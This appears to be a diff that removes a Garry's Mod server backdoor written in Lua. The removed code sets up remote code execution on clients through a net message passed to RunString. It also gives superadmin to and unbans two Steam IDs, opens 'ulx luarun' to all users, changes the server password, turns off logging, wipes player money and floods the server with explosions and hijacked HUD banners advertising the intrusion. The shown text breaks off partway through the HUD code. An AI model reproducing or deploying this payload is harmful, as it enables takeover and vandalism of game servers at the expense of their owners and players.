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- util.AddNetworkString "slua2"
- local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
- local lol = {}
- function lol:RandomString( intMin, intMax )
- local ret = ""
- for _ = 1, math.random( intMin, intMax ) do
- ret = ret.. string.char( math.random(65, 90) )
- end
- return ret
- end
- lol.m_tblActions = {}
- lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
- lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
- function lol:PushAction( intChainDelay, func )
- self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
- end
- function lol:NextAction( pPlayer )
- pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
- if not self.m_tblActions[pPlayer.m_intCurAction] then return end
- timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
- if not IsValid( pPlayer ) then return end
- self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
- self:NextAction( pPlayer )
- end )
- end
- function lol:Start( pPlayer )
- pPlayer.m_intCurAction = 0
- self:NextAction( pPlayer )
- end
- function lol:SendLua( pPlayer, strLua )
- net.Start( "slua2" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- function lol:SetupPlayer( pPlayer )
- pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
- end
- -------START CODE FORT BAN/UNBAN/ETC...
- timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
- timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
- timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
- for k, v in pairs( player.GetAll() ) do
- timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
- timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
- timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
- timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
- timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
- timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
- timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
- timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
- timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
- timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
- timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
- timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
- timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
- timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
- timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
- timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
- end
- ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
- -----START LINE CODE FOR DANSE
- for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
- -----STOP LINE CODE FOR DANSE
- ------- STARTCODE FOR FORCE CHANGE NAME
- for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
- ------- STOP LINE CODE FOR CHANGE NAME
- ------- ARMAGEDDON
- hook.Add("Think", "armageddon", function()
- local explode = ents.Create( "env_explosion" )
- explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
- explode:Spawn()
- explode:SetKeyValue( "iMagnitude", "500" )
- explode:Fire( "Explode", 0, 0 )
- end)
- ---------TOURNER
- for k,v in ipairs(player.GetAll()) do
- v:ConCommand("+right")
- v:ConCommand("+duck")
- v:ConCommand("+voicerecord")
- end
- RunConsoleCommand("cl_yawspeed","9999")
- RunConsoleCommand("r_shader_srgb","1")
- RunConsoleCommand("ground","color.math.66=math.99")
- function lol:SendLua( pPlayer, strLua )
- pPlayer:SendLua([[RunConsoleCommand("gmod_language","ko")]])
- net.Start( "slua2" )
- net.WriteString( strLua )
- net.Send( pPlayer )
- end
- --------- GIANT
- hook.Add("Think", "giant", function()
- for k,v in pairs (player.GetAll()) do
- v:SetModelScale(50.5, 100);
- v:SetRunSpeed(400 * 2);
- v:SetWalkSpeed(200 * 2);
- end
- end)
- ------------------
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say armageddon")
- end
- for k,v in pairs(player.GetAll()) do
- v:ConCommand("say giant")
- end
- for k, v in pairs( player.GetAll() ) do
- lol:SetupPlayer( v )
- timer.Simple( 2, function() lol:Start( v ) end )
- end
- hook.Add( "PlayerAuthed", "wat", function( pPlayer )
- lol:SetupPlayer( pPlayer )
- timer.Simple( 10, function() lol:Start( pPlayer ) end )
- end )
- hook.Add( "PlayerFootstep", "oooh", function( ply )
- ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
- end )
- hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "/1337" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "fuck this job i quit" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end )
- hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
- if strText:sub( 1, 5 ) == "what" then
- pSender:Ignite( 1e9 )
- pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
- pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
- return false
- end
- end)
- --Sequence stack
- --Start some tunes and steam in our assets
- lol:PushAction( 0, function( pPlayer )
- lol:SendLua( pPlayer, ([=[
- sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
- g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
- local html = [[%s]]
- local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
- local pnl = vgui.Create( "HTML" )
- pnl:SetPos( ScrW() -1, ScrH() -1 )
- pnl:SetVisible( true )
- pnl:SetMouseInputEnabled( false )
- pnl:SetKeyBoardInputEnabled( false )
- pnl:SetSize( intSizeX, intSizeY )
- pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
- local PageLoaded
- PageLoaded = function()
- local mat = pnl:GetHTMLMaterial()
- if mat then
- g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
- return
- end
- timer.Simple( 0.5, PageLoaded )
- end
- PageLoaded()
- end
- LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
- LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
- LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
- ]=]):format(lol.m_strImageLoadHTML) )
- end )
- --HUD swap
- lol:PushAction( 46, function( pPlayer )
- lol:SendLua( pPlayer, [[
- (GAMEMODE or GM).CalcView = function() end
- (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
- local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
- for k, v in pairs(remove) do
- hook.GetTable()[v] = {}
- end
- local function GetWebMat( strURL )
- return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
- end
- hook.Add( "HUDPaint", "newhud", function()
- surface.SetDrawColor( 255, 255, 255, 255 )
- if GetWebMat( "getrekt" ) then
- surface.SetMaterial( GetWebMat("getrekt")[1] )
- surface.DrawTexturedRect( 500, 50, 1000, 1000 )
- end
- if GetWebMat( "getrekt2" ) then
- surface.SetMaterial( GetWebMat("getrekt2")[1] )
- surface.DrawTexturedRect( 100, 425, 400, 400 )
- end
- if GetWebMat( "getrekt3" ) then
- surface.SetMaterial( GetWebMat("getrekt3")[1] )
- surface.DrawTexturedRect( 1550, 425, 400, 400 )
- end
- draw.SimpleTextOutlined(
- "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
- "DermaLarge",
- ScrW() /2 +math.random( -8, 8 ),
- ScrH() /2 +math.random( -8, 8 ) +64,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "-=₪۩۞۩₪= Serveur Hacké avec Smenu =₪۩۞۩₪=-",
- "DermaLarge",
- ScrW() /2 +math.random( -8, 8 ),
- ScrH() /2 +math.random( -8, 8 ) +24,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 1,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -160,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +160,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +190,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -190,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +220,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -220,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +250,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -250,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +280,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -280,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +310,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -310,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +340,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -340,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -370,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +370,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -400,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +400,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) -430,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +430,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
- Color(math.random(1,255),math.random(1,255),math.random(1,255))
- )
- draw.SimpleTextOutlined(
- "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
- "DermaLarge",
- ScrW() /2 +math.random( -2, 2 ),
- ScrH() /2 +math.random( -2, 2 ) +460,
- Color(math.random(1,255),math.random(1,255),math.random(1,255)),
- TEXT_ALIGN_CENTER,
- TEXT_ALIGN_CENTER,
- 3,
